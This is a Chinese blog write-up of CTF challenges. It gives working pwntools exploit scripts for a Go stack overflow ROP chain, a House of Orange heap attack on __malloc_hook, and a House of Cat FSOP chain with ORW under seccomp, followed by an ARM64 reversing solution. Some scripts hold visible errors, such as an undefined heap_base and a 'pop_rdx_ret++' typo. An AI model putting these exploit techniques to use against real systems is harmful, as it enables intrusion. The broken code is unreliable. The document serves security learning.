菜鸡挣扎罢了
gostack go语言编译的程序,打开一团乱码看起开超级费劲。可以用一个插件处理一下 0xjiayu/go_parser
主要的流程还是在 main_main_funcX
那里。
溢出之后构造 rop 链来读一个 '/bin/sh'
到bss段,再调用 system 就行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import * context(log_level='debug' ,arch='amd64' ,os='linux' ) sh=process('./gostack' ) mov_rdi_v_rax_ret=0x460cd8 pop_rdi_5_ret=0x4a18a5 pop_rax_ret=0x40f984 pop_rdx_ret=0x4944ec pop_rsi_ret=0x42138a bss=0x563720 syscall=0x404043 sh.recvuntil('Input your magic message :' ) payload=b'a' *0x1d0 +p64(pop_rdi_5_ret)+p64(bss)+p64(0 )*4 +p64(pop_rax_ret)+b'/bin/shx00' +p64(mov_rdi_rax_ret) payload+=p64(pop_rdi_5_ret)+p64(bss)+p64(0 )*5 +p64(pop_rsi_ret)+p64(0 )+p64(pop_rdx_ret++p64(0 )+p64(pop_rax_ret)+p64(0x3b )+p64(syscall) sh.sendline(payload) sh.interactive()
看到队里师傅分享的解题思路是伪造合法字符串,嘻嘻,看不懂
orange_cat_diary 看题目就知道要打 House of orange
其实没有刻意去学过 house of xxx 系列,我觉得太格式化了有种应试教育的感觉
但是毕竟比赛出题都给了提示,去学习一下
关于 house of orange :
House of Orange 的核心在于在没有 free 函数的情况下得到一个释放的堆块 (unsorted bin)。
这种操作的原理简单来说是当前堆的 top chunk 尺寸不足以满足申请分配的大小的时候,原来的 top chunk 会被释放并被置入 unsorted bin 中,通过这一点可以在没有 free 函数情况下获取到 unsorted bins。
free 功能里存在 UAF ,没有置零释放的指针
在 edit 功能里面可以溢出 8 字节长度,八字节长度刚好溢出到下一个 chunk 的 size 段。
因为这个程序它全程只记录一个地址指针,我们用正常的泄露 libc 的套路是不可行的,正好用上 house of orange 的原理。
我们申请一个堆块,然后 edit 写数据溢出修改 topchunk 的 size。
随后申请一个比修改后的 topchunk size 更大的堆块,这个时候 topchunk 就会进入 unsortedbin,当我们再次申请时这个堆块就会被分配出来,它就会带着 unsortedbin 的脏数据,我们就可以泄露 libc 了。
像这样!
需要注意 topchunk 的检查:
伪造的 size 必须要对齐到内存页
size 要大于 MINSIZE(0x10)
size 要小于之后申请的 chunk size + MINSIZE(0x10)
size 的 prev inuse 位必须为 1
这样申请出来的堆块不仅有 main_arena 地址,还有这个 heap 的地址
泄露地址之后利用 uaf 来执行 onegadget 就行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from pwn import * context(os='linux' , arch='amd64' , log_level='debug' ) sh=process('./cat' ) libc=ELF('./libc-2.23.so' )def add (size,content ): sh.sendlineafter("choice:" ,b'1' ) sh.sendlineafter("content:" ,str (size).encode()) sh.sendafter("Please enter the diary content:" ,content)def show (): sh.sendlineafter("choice:" , b'2' )def delete (): sh.sendlineafter("choice:" , b'3' )def edit (size,content ): sh.sendlineafter("choice:" , b'4' ) sh.sendlineafter("content:" ,str (size).encode()) sh.sendafter("Please enter the diary content:" ,content) ''' 0x45226 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4527a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf03a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1247 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL ''' sh.sendlineafter("Please tell me your name." ,b'OvO' ) add(0x28 ,b'aaaa' ) edit(0x30 ,b'a' *0x28 +p64(0xfd1 )) add(0xff0 ,b'bbbb' ) add(0x200 ,b'cccccccc' ) show() sh.recvuntil('cccccccc' ) main_arena = u64(sh.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) libc_base = main_arena-0x3c5188 print ('libc_base ' ,libc_base) malloc_hook = libc_base + libc.sym['__malloc_hook' ]print ('malloc_hook' ,malloc_hook) add(0x60 ,b'dddd' ) delete() edit(8 ,p64(malloc_hook-0x23 )) add(0x60 ,b'eeee' ) add(0x60 ,b'a' *0x13 +p64(libc_base+0xf03a4 )) sh.sendlineafter("choice:" ,b'1' ) sh.sendlineafter("content:" ,str (0x20 ).encode()) sh.interactive()
ezheap 是 house of cat,对于 2.35 版本堆题的一种利用手法,构造 IO_file 的一条攻击链。
house of cat 攻击流程:
1.修改 _IO_list_all 为可控地址(FSOP )或修改 stderr 为可控地址(__malloc_assert )。
2.在上一步的可控地址中伪造 fake_IO结构体 (也可以在任意地址写的情况下修改 **stderr 、 stdout **等结构体)。
3.通过 FSOP 或 malloc 触发攻击。
一打开就看到那个 seccomp_init
了,限制了系统调用得打 orw
程序四个基本的功能都有,edit 功能里修改的时候由用户输入 size ,存在溢出。其他的漏洞就没有了🤡
bin链表长这个样子
太乱了,我比赛的时候直接吓死了🥵
看别的师傅分享思路是申请一个大堆块来把 fastbin 和 unsortedbin 中 chunk 的链入 smallbin。
这样 smallbin 里面就会有 main_arena 的脏数据
可以根据 show 中 printf 输出时 ‘\x00’ 截断和 edit 的溢出来泄露 libc
申请一个 0xf0 大小的堆块,就可以申请到 0x5568e981c240
,而 0x5568e981c490
指向 main_arena+496
,我们只需要把中间的空白填满,到时候 printf 的时候就会一直输出直到输出 main_arena+496
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import * context(os='linux' , arch='amd64' , log_level='debug' ) sh=process('./EzHeap' )def add (size,content ): sh.sendlineafter("choice >> " ,b'1' ) sh.sendlineafter("size:" ,str (size).encode()) sh.sendafter("content:" ,content)def delete (index ): sh.sendlineafter("choice >> " , b'2' ) sh.sendafter("idx:" ,str (index).encode())def edit (index,content ): sh.sendlineafter("choice >> " , b'3' ) sh.sendlineafter("idx:" ,str (index).encode()) sh.sendlineafter("size:" ,len (content)) sh.sendafter("content:" ,content)def show (index,content ): sh.sendlineafter("choice >> " , b'4' ) sh.sendafter("idx:" ,str (index).encode()) add(0x500 ,b'a' ) add(0xe8 ,b'a' ) edit(1 ,b'b' *0x258 ) show(1 ) sh.recvuntil(b'a' *0x258 ) libc_base=u64(sh.recv(6 ).ljust(8 ,b'\x00' ))-0x21ae70
这两个可以用来泄露 heap ,原理和泄露 libc 的时候一样
不是泄露这个地址 0x5568e981b350 这个堆块的运行时的地址(这个我们控制不了),而是利用 bin 链表中的指针来泄露地址。
1 2 3 4 5 6 7 8 add(0x58 ,b'a' ) add(2 ,b'a' *0xa8 +b'bbbbbbbb' ) show(2 ) sh.recvuntil(b'bbbbbbbb' ) heap_addr=u64(sh.recv(6 ).ljust(8 ,b'\x00' ))print ('libc_base' ,libc_base)print ('heap_addr' ,heap_addr)
之后就是 house of cat 的利用,先把 orw 写进一个堆块里,再进行 IO_file 链的构造
exp:
我抄的,还没误懂,先放这里🤡
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 from pwn import * context(os='linux' , arch='amd64' , log_level='debug' ) sh=process('./EzHeap' )def add (size,content ): sh.sendlineafter("choice >> " ,b'1' ) sh.sendlineafter("size:" ,str (size).encode()) sh.sendafter("content:" ,content)def delete (index ): sh.sendlineafter("choice >> " , b'2' ) sh.sendafter("idx:" ,str (index).encode())def edit (index,content ): sh.sendlineafter("choice >> " , b'3' ) sh.sendlineafter("idx:" ,str (index).encode()) sh.sendlineafter("size:" ,len (content)) sh.sendafter("content:" ,content)def show (index,content ): sh.sendlineafter("choice >> " , b'4' ) sh.sendafter("idx:" ,str (index).encode()) add(0x500 ,b'a' ) add(0xe8 ,b'a' ) edit(1 ,b'b' *0x258 +b'bbbbbbbb' ) show(1 ) sh.recvuntil(b'bbbbbbbb' ) libc_base=u64(sh.recv(6 ).ljust(8 ,b'\x00' ))-0x21ae70 add(0x58 ,b'a' ) edit(2 ,b'a' *0xa8 +b'bbbbbbbb' ) show(2 ) sh.recvuntil(b'bbbbbbbb' ) heap_addr=u64(sh.recv(6 ).ljust(8 ,b'\x00' ))print ('libc_base' ,libc_base)print ('heap_addr' ,heap_addr) add(0x250 ,'pppp' ) add(0x458 ,'aaaa' ) add(0x458 ,'aaaa' ) add(0x448 ,'aaaa' ) add(0x448 ,'aaaa' ) rdi = libc_base + 0x2a3e5 rsi = libc_base + 0x2be51 rdx_r12 = libc_base + 0x11f2e7 rax= libc_base + 0x45eb0 ret = libc_base + 0x29139 lock =0x3ed8b0 +libc_base magic_gadget = libc_base + 0x16a050 +26 syscall = libc_base + libc.sym['read' ] + 0x10 io_all = libc_base + libc.sym['_IO_list_all' ] wfile = libc_base + libc.sym['_IO_wfile_jumps' ] leave_ret = libc_base + next (libc.search(asm('leave;ret;' ))) orw_addr=heap_base+0x3210 flag_addr = heap_base+0x260 chunk0 = heap_base + 0x24b0 add(0x250 ,'pppp' ) add(0x458 ,'aaaa' ) add(0x458 ,'aaaa' ) add(0x448 ,'aaaa' ) add(0x448 ,'aaaa' ) delete(2 ) add(0x498 ,'a' ) delete(4 ) orw=b'./flag\x00\x00' orw+=p64(rdx_r12)+p64(0 )+p64(chunk0+0x30 ) orw+=p64(rdi)+p64(orw_addr) orw+=p64(rsi)+p64(0 ) orw+=p64(rax)+p64(2 ) orw+=p64(syscall) orw+=p64(rdi)+p64(3 ) orw+=p64(rsi)+p64(orw_addr+0x100 ) orw+=p64(rdx_r12)+p64(0x50 )+p64(0 ) orw+=p64(rax)+p64(0 ) orw+=p64(syscall) orw+=p64(rdi)+p64(1 ) orw+=p64(rsi)+p64(orw_addr+0x100 ) orw+=p64(rdx_r12)+p64(0x50 )+p64(0 ) orw+=p64(rax)+p64(1 ) orw+=p64(syscall) edit(5 ,len (orw),orw) pl=p64(0 )+p64(leave_ret)+p64(0 )+p64(io_all-0x20 ) pl+=p64(0 )*2 +p64(0 )+p64(orw_addr) pl+=p64(0 )*4 pl+=p64(0 )*3 +p64(lock) pl+=p64(0 )*2 +p64(chunk0+0xe0 )+p64(0 ) pl+=p64(0 )*4 pl+=p64(0 )+p64(wfile) pl+=p64(0 )*0x14 +p64(chunk0+0xe0 +0xe8 ) pl+=p64(0 )*0xd +p64(magic_gadget) edit(1 ,0x500 ,b'\x00' *0x258 +p64(0x461 )+pl) add(0x4e0 ,'a' ) add(0x440 ,'b' ) exit() sh.interactive()
asm_re 这个汇编它好像是什么 ARM64 的,和平时看的 AMD64 汇编代码不太一样,不过也差不了多少。
下图这一部分的逻辑就是接收用户输入,然后又拿出存储的密文存储在 dst 这个地方,在给的这个 txt 文件里是用了 flag{xx} 占位。
字符串的处理逻辑就在这里
1 2 3 4 5 6 7 8 9 10 11 __text:0000000100003C94 0A 0A 80 52 MOV W10, #0x50 ; 'P' __text:0000000100003C98 08 7D 0A 1B MUL W8, W8, W10 __text:0000000100003C9C 08 51 00 11 ADD W8, W8, #0x14 __text:0000000100003CA0 AA 09 80 52 MOV W10, #0x4D ; 'M' __text:0000000100003CA4 08 01 0A 4A EOR W8, W8, W10 __text:0000000100003CA8 08 79 00 11 ADD W8, W8, #0x1E __text:0000000100003CAC A8 C3 11 B8 STUR W8, [X29,#var_E4] __text:0000000100003CB0 A8 C3 51 B8 LDUR W8, [X29,#var_E4] __text:0000000100003CB4 AA 43 92 B8 LDURSW X10, [X29,#var_DC] __text:0000000100003CB8 28 79 2A B8 STR W8, [X9,X10,LSL#2] __text:0000000100003CBC 01 00 00 14 B loc_100003CC0
像命令MU W8, W8, W10
就是把后两个参数相乘存储在第一个参数里,比 amd 的汇编多了一个参数而已,指令名称都是一看就懂的。
上面的逻辑就是
1 2 3 4 value *= 0x50 vaule += 0x14 value ^= 0x4D value += 0x1E
const 段数据 unk_1000003F10
存储的就是是密文,逆一下逻辑就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 def decrypt_value (value ): value -= 0x1E value ^= 0x4D value -= 0x14 value //= 0x50 return valuedef main (): encrypted_values = [ 0x00001FD7 , 0x000021B7 , 0x00001E47 , 0x00002027 , 0x000026E7 , 0x000010D7 , 0x00001127 , 0x00002007 , 0x000011C7 , 0x00001E47 , 0x00001017 , 0x00001017 , 0x000011F7 , 0x00002007 , 0x00001037 , 0x00001107 , 0x00001F17 , 0x000010D7 , 0x00001017 , 0x00001017 , 0x00001F67 , 0x00001017 , 0x000011C7 , 0x000011C7 , 0x00001017 , 0x00001FD7 , 0x00001F17 , 0x00001107 , 0x00000F47 , 0x00001127 , 0x00001037 , 0x00001E47 , 0x00001037 , 0x00001FD7 , 0x00001107 , 0x00001FD7 , 0x00001107 , 0x00002787 ] decrypted_values = [decrypt_value(value) for value in encrypted_values] print ("Decrypted values:" , decrypted_values) string = '' .join(chr (char) for char in decrypted_values) print (string) if __name__ == "__main__" : main()
国赛结束的晚上就去骑了西湖
60KM,回学校都十一点半了🥹